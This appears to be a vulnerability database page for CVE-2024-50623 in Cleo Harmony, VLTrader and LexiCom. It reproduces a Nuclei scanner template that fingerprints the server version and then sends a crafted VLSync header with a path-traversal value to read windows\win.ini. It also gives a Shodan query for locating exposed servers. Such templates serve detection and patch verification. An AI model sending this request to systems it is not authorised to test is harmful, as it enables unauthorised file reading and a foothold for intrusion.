CVE-2024-50623: Cleo Harmony < 5.8.0.21 - Arbitary File Read

2025-08-01 Cleo Harmony PoC Public

Description

In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.

PoC

id: CVE-2024-50623

info:
  name: Cleo Harmony < 5.8.0.21 - Arbitary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50623.
  reference:
    - https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory
    - https://github.com/watchtowrlabs/CVE-2024-50623
    - https://labs.watchtowr.com/cleo-cve-2024-50623/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50623
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-50623
    cwe-id: CWE-434
    epss-score: 0.98607
    epss-percentile: 0.99921
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'Server: Cleo'
  tags: cve,cve2024,cleo,vltrader,lexicom,harmony,lfi,kev,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /Synchronization HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(response), "cleo")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: header
        group: 1
        regex:
          - "Server: Cleo.*?/([0-9.]+)"
        internal: true

  - raw:
      - |
        GET /Synchronization HTTP/1.1
        Host: {{Hostname}}
        VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={{version}};a=1337;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=..\..\..\windows\win.ini

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a00463044022042c4d305d09e70feda27ed71412fdfd0962ba26294191e52daff2130d151bb6b02207f584939e2c38aa6e466b243359dce2628702d72b9c994f8678c6aad15908599:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities